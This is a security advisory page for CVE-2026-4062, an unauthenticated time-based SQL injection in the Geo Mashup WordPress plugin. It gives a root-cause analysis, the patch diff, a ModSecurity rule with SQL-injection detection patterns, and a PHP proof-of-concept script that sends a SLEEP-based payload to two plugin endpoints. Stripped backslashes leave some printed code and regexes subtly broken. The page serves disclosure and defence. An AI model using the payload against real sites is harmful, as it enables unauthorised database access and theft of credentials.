Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4062: Geo Mashup <= 1.13.18 – Unauthenticated Time-Based SQL Injection via 'object_ids' Parameter (geo-mashup)

CVE ID CVE-2026-4062
Plugin geo-mashup
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.13.18
Patched Version 1.13.19
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4062:

This vulnerability is an unauthenticated time-based blind SQL injection in the Geo Mashup plugin for WordPress (versions up to and including 1.13.18). The flaw allows attackers to extract sensitive database information by injecting SQL into the ‘object_ids’ and ‘exclude_object_ids’ parameters, with a CVSS score of 7.5.

The root cause is insufficient input sanitization in the `geo-mashup-db.php` file. The `sanitize_query_args()` function applies a numeric-only sanitizer via `preg_replace( ‘/[^0-9,]/’, ”, $value )` for the `object_ids` and `exclude_object_ids` parameters, but this sanitizer is only applied in the AJAX code path (`geo-query.php` line 272) and NOT in the `render-map.php` or template tag code paths. In these other code paths, the raw user-supplied values are passed to `esc_sql()` and then placed directly into an unquoted `IN(…)` SQL context. The `esc_sql()` function only escapes quote characters and provides no protection against parenthesis or SQL keyword injection.

An unauthenticated attacker can exploit this by sending a crafted request to the Geo Mashup AJAX endpoint (`admin-ajax.php` with `action=geo-mashup`) or by directly accessing the `geo-query.php` endpoint, injecting SQL into the `object_ids` parameter. A typical payload would be something like: `object_ids=1) OR (SELECT SLEEP(5))– -`. The lack of proper parameterized queries allows the attacker to inject SQL that causes a time delay, enabling time-based blind data extraction.

The patch addresses all vulnerable code paths. In `geo-mashup-db.php`, the `sanitize_query_args()` function is now called in the template tag code path (line 1636). The `object_ids` and `exclude_object_ids` parameters are now handled with proper parameterized queries: `$ids = array_map( ‘absint’, explode( ‘,’, $query_args[‘object_ids’] ) );` combined with `$wpdb->prepare()` using `%d` placeholders. This ensures only integer values are accepted and bound as SQL parameters, completely eliminating injection. Additional hardening includes adding capability checks to the admin options page and fixing cross-site scripting vulnerabilities in output escaping.

Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), private post content, and other data. The time-based blind approach means the attacker can enumerate data character by character by observing server response delays. This can lead to complete compromise of the WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/geo-mashup/geo-mashup-db.php
+++ b/geo-mashup/geo-mashup-db.php
@@ -1495,6 +1495,7 @@
 	 * @param string $name
 	 */
 	public static function sanitize_query_arg( &$value, $name ) {
+		if (is_null($value)) return;
 		switch ($name) {
 			case 'minlat':
 			case 'maxlat':
@@ -1507,7 +1508,6 @@
 				$value = (float) $value;
 				break;

-			case 'map_cat':
 			case 'object_ids':
 			case 'exclude_object_ids':
 				$value = preg_replace( '/[^0-9,]/', '', $value );
@@ -1515,6 +1515,8 @@

 			case 'map_post_type':
 			case 'object_name':
+			case 'map_cat':
+			case 'show_future':
 				$value = sanitize_key( $value );
 				break;

@@ -1528,10 +1530,6 @@
 				$value = (bool) $value;
 				break;

-			case 'show_future':
-				$value = sanitize_key( $value );
-				break;
-
 			case 'sort':
 				$value = self::sanitize_sort_arg( $value );
 				break;
@@ -1635,6 +1633,7 @@
 			'map_offset' => 0,
 		);
 		$query_args = wp_parse_args( $query_args, $default_args );
+		$query_args = self::sanitize_query_args( $query_args );

 		// Construct the query
 		$object_name = $query_args['object_name'];
@@ -1745,18 +1744,23 @@
 			} else {
 				if ( !is_array( $query_args['map_post_type'] ) )
 					$query_args['map_post_type'] = preg_split( '/[,s]+/', $query_args['map_post_type'] );
-				$wheres[] = "o.post_type IN ('" . join("', '", $query_args['map_post_type']) . "')";
+				$wheres[] = "o.post_type IN ('" . join("', '", array_map( 'esc_sql', $query_args['map_post_type'] ) ) . "')";
 			}
 		}

 		if ( ! empty( $query_args['object_id'] ) ) {
-			$wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] );
+			$wheres[] = $wpdb->prepare('gmlr.object_id = %d', absint( $query_args['object_id' ]));
 		} else if ( ! empty( $query_args['object_ids'] ) ) {
-			$wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )';
+			$ids = array_map( 'absint', explode( ',', $query_args['object_ids'] ) );
+    		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+    		$wheres[] = $wpdb->prepare( "gmlr.object_id IN ( $placeholders )", $ids );
 		}

-		if ( ! empty( $query_args['exclude_object_ids'] ) )
-			$wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';
+		if ( ! empty( $query_args['exclude_object_ids'] ) ) {
+			$ids = array_map( 'absint', explode( ',', $query_args['exclude_object_ids'] ) );
+    		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+			$wheres[] = $wpdb->prepare( "gmlr.object_id NOT IN ( $placeholders )", $ids );
+		}

 		list( $l_cols, $l_join, $l_where, $l_groupby ) = $location_query->get_sql( 'o', $object_store['id_column'] );
 		$field_string .= $l_cols;
--- a/geo-mashup/geo-mashup-options.php
+++ b/geo-mashup/geo-mashup-options.php
@@ -448,7 +448,7 @@
 						__(', which must be a string', 'GeoMashup') );
 					return false;
 				}
-				if ( preg_match( "/<.*>/", $value ) ) {
+				if ( preg_match( "/</?[a-z][a-z0-9]*/i", $value ) ) {
 					array_push ( $this->validation_errors, '"'. esc_html( $value ) . '" ' . __('is invalid for', 'GeoMashup') . ' ' . $key .
 						__(', which must not contain XML tags.', 'GeoMashup') );
 					return false;
--- a/geo-mashup/geo-mashup.php
+++ b/geo-mashup/geo-mashup.php
@@ -3,7 +3,7 @@
 Plugin Name: Geo Mashup
 Plugin URI: https://wordpress.org/plugins/geo-mashup/
 Description: Save location for posts and pages, or even users and comments. Display these locations on Google, Leaflet, and OSM maps. Make WordPress into your GeoCMS.
-Version: 1.13.18
+Version: 1.13.19
 Author: Dylan Kuhn
 Text Domain: GeoMashup
 Domain Path: /lang
@@ -256,7 +256,7 @@
 		define('GEO_MASHUP_DIRECTORY', dirname( GEO_MASHUP_PLUGIN_NAME ) );
 		define('GEO_MASHUP_URL_PATH', trim( plugin_dir_url( __FILE__ ), '/' ) );
 		define('GEO_MASHUP_MAX_ZOOM', 20);
-		define('GEO_MASHUP_VERSION', '1.13.18');
+		define('GEO_MASHUP_VERSION', '1.13.19');
 		define('GEO_MASHUP_DB_VERSION', '1.3');
 	}

@@ -1113,6 +1113,9 @@
 	 */
 	private static function click_to_load_content( $map_data, $iframe_src, $click_to_load_text, $static, $map_image ) {

+		$iframe_src = esc_attr( $iframe_src );
+		$click_to_load_text = esc_html( $click_to_load_text );
+
 		if ( is_feed() ) {
 			return "<a href="{$iframe_src}">$click_to_load_text</a>";
 		}
@@ -1621,6 +1624,8 @@
 		);
 		$args = wp_parse_args( $args, $defaults );
 		extract( $args, EXTR_SKIP );
+		$separator = esc_html( $separator );
+		$format = esc_html( $format );
 		$info = '';

 		if ( $object_name && $object_id ) {
--- a/geo-mashup/geo-query.php
+++ b/geo-mashup/geo-query.php
@@ -269,7 +269,7 @@
 		header('Cache-Control: no-cache;', true);
 		header('Expires: -1;', true);

-		$json = GeoMashup::get_locations_json( GeoMashupDB::sanitize_query_args( $_REQUEST ) );
+		$json = GeoMashup::get_locations_json( $_REQUEST );
 		if ( isset( $_REQUEST['callback'] ) )
 			$json = esc_js( $_REQUEST['callback'] ) . '(' . $json . ')';
 		echo $json;
--- a/geo-mashup/php/Admin/Settings/OptionsPage.php
+++ b/geo-mashup/php/Admin/Settings/OptionsPage.php
@@ -86,6 +86,10 @@

 		check_admin_referer( 'geo-mashup-update-options' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( 'Not Authorized' );
+		}
+
 		// Make missing array options empty
 		if ( empty( $submission['global_map']['add_map_type_control'] ) ) {
 			$submission['global_map']['add_map_type_control'] = array();
--- a/geo-mashup/php/Search.php
+++ b/geo-mashup/php/Search.php
@@ -174,19 +174,18 @@
 	public function load_template( $template = 'search-results' ) {

 		// Define variables for the template
-		/** @var $object_name */
-		/** @var $object_ids */
-		/** @var $units */
-		/** @var $location_text */
-		/** @var $radius */
-		/** @var $sort */
-		extract( $this->query_vars, EXTR_OVERWRITE );
+	 	$object_name = isset($this->query_vars['object_name']) ? $this->query_vars['object_name'] : null;
+	 	$distance_factor = isset($this->query_vars['distance_factor']) ? $this->query_vars['distance_factor'] : null;
+	 	$units = isset($this->query_vars['units']) ? $this->query_vars['units'] : null;
+	 	$location_text = isset($this->query_vars['location_text']) ? $this->query_vars['location_text'] : null;
+	 	$radius = isset($this->query_vars['radius']) ? $this->query_vars['radius'] : null;
+	 	$sort = isset($this->query_vars['sort']) ? $this->query_vars['sort'] : null;

 		extract( [
-			'search_text'       => $location_text,
+			'search_text'       => esc_html( $location_text ),
 			'distance_factor'   => $this->distance_factor,
 			'near_location'     => $this->near_location,
-			'result_count'      => $this->result_count,
+			'result_count'      => (int) $this->result_count,
 			'geo_mashup_search' => &$this,
 			'approximate_zoom'  => absint( log( 10000 / $this->max_km, 2 ) )
 		], EXTR_OVERWRITE );
--- a/geo-mashup/vendor/composer/installed.php
+++ b/geo-mashup/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'cyberhobo/wordpress-geo-mashup',
-        'pretty_version' => '1.13.18',
-        'version' => '1.13.18.0',
-        'reference' => '9305999a20b89e7ac45e070acf55cb709112103d',
+        'pretty_version' => '1.13.19',
+        'version' => '1.13.19.0',
+        'reference' => 'dc9a83950897592ee664acc7dea71600e68ea932',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'cyberhobo/wordpress-geo-mashup' => array(
-            'pretty_version' => '1.13.18',
-            'version' => '1.13.18.0',
-            'reference' => '9305999a20b89e7ac45e070acf55cb709112103d',
+            'pretty_version' => '1.13.19',
+            'version' => '1.13.19.0',
+            'reference' => 'dc9a83950897592ee664acc7dea71600e68ea932',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-4062
# Block time-based SQL injection attempts targeting object_ids and exclude_object_ids parameters
# in both admin-ajax.php (action=geo-mashup) and geo-query.php endpoints

SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-4062 - Geo Mashup SQL Injection via admin-ajax.php',severity:'CRITICAL',tag:'CVE-2026-4062',tag:'wordpress',tag:'geo-mashup'"
  SecRule ARGS_POST:action "@streq geo-mashup" "chain"
    SecRule ARGS_POST:object_ids|ARGS_POST:exclude_object_ids "@rx SLEEP(.*)|BENCHMARK(.*)|bWAITFORb|pg_sleep|bORb.*d+s*=s*d+|bANDb.*d+s*=s*d+" 
      "t:none,t:urlDecodeUni,t:removeNulls"

SecRule REQUEST_URI "@contains /geo-query.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-4062 - Geo Mashup SQL Injection via geo-query.php',severity:'CRITICAL',tag:'CVE-2026-4062',tag:'wordpress',tag:'geo-mashup'"
  SecRule ARGS_GET:object_ids|ARGS_GET:exclude_object_ids "@rx SLEEP(.*)|BENCHMARK(.*)|bWAITFORb|pg_sleep|bORb.*d+s*=s*d+|bANDb.*d+s*=s*d+" 
    "t:none,t:urlDecodeUni,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4062 - Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'object_ids' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-4062
 * 
 * This script demonstrates time-based blind SQL injection in the Geo Mashup plugin.
 * It tests both admin-ajax.php and geo-query.php endpoints.
 */

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$delay_seconds = 3; // Delay to check for time-based injection

// Helper function to send HTTP request
function send_request($url, $post_data = []) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    if (!empty($post_data)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    
    $start = microtime(true);
    $response = curl_exec($ch);
    $end = microtime(true);
    $duration = $end - $start;
    
    curl_close($ch);
    
    return [
        'response' => $response,
        'duration' => $duration
    ];
}

echo "[+] Testing CVE-2026-4062 - Geo Mashup SQL Injectionn";
echo "[+] Target: $target_urlnn";

// Test 1: AJAX endpoint via admin-ajax.php
echo "[*] Testing admin-ajax.php with time-based injection...n";

// Normal request (baseline)
$normal_data = [
    'action' => 'geo-mashup',
    'object_ids' => '1,2,3'
];
$normal_result = send_request($target_url . '/wp-admin/admin-ajax.php', $normal_data);
echo "    Normal request duration: " . round($normal_result['duration'], 2) . " secondsn";

// Time-based injection request
$inject_data = [
    'action' => 'geo-mashup',
    'object_ids' => '1) OR (SELECT SLEEP(' . $delay_seconds . '))-- -'
];
$inject_result = send_request($target_url . '/wp-admin/admin-ajax.php', $inject_data);
echo "    Injection request duration: " . round($inject_result['duration'], 2) . " secondsn";

if ($inject_result['duration'] >= $delay_seconds) {
    echo "[!] Vulnerability confirmed via admin-ajax.php!n";
    echo "    The server delayed for at least {$delay_seconds} seconds, indicating SQL injection is possible.nn";
} else {
    echo "[-] No significant delay detected via admin-ajax.php. Trying alternate endpoint...nn";
}

// Test 2: Direct geo-query.php endpoint
echo "[*] Testing geo-query.php with time-based injection...n";

// Normal request (baseline)
$normal_url = $target_url . '/wp-content/plugins/geo-mashup/geo-query.php?object_ids=1,2,3';
$normal_result = send_request($normal_url);
echo "    Normal request duration: " . round($normal_result['duration'], 2) . " secondsn";

// Time-based injection request
$inject_url = $target_url . '/wp-content/plugins/geo-mashup/geo-query.php?object_ids=1) OR (SELECT SLEEP(' . $delay_seconds . '))-- -';
$inject_result = send_request($inject_url);
echo "    Injection request duration: " . round($inject_result['duration'], 2) . " secondsn";

if ($inject_result['duration'] >= $delay_seconds) {
    echo "[!] Vulnerability confirmed via geo-query.php!n";
    echo "    The server delayed for at least {$delay_seconds} seconds, indicating SQL injection is possible.nn";
} else {
    echo "[-] No significant delay detected. Target may be patched or not vulnerable.n";
}

echo "[+] PoC complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School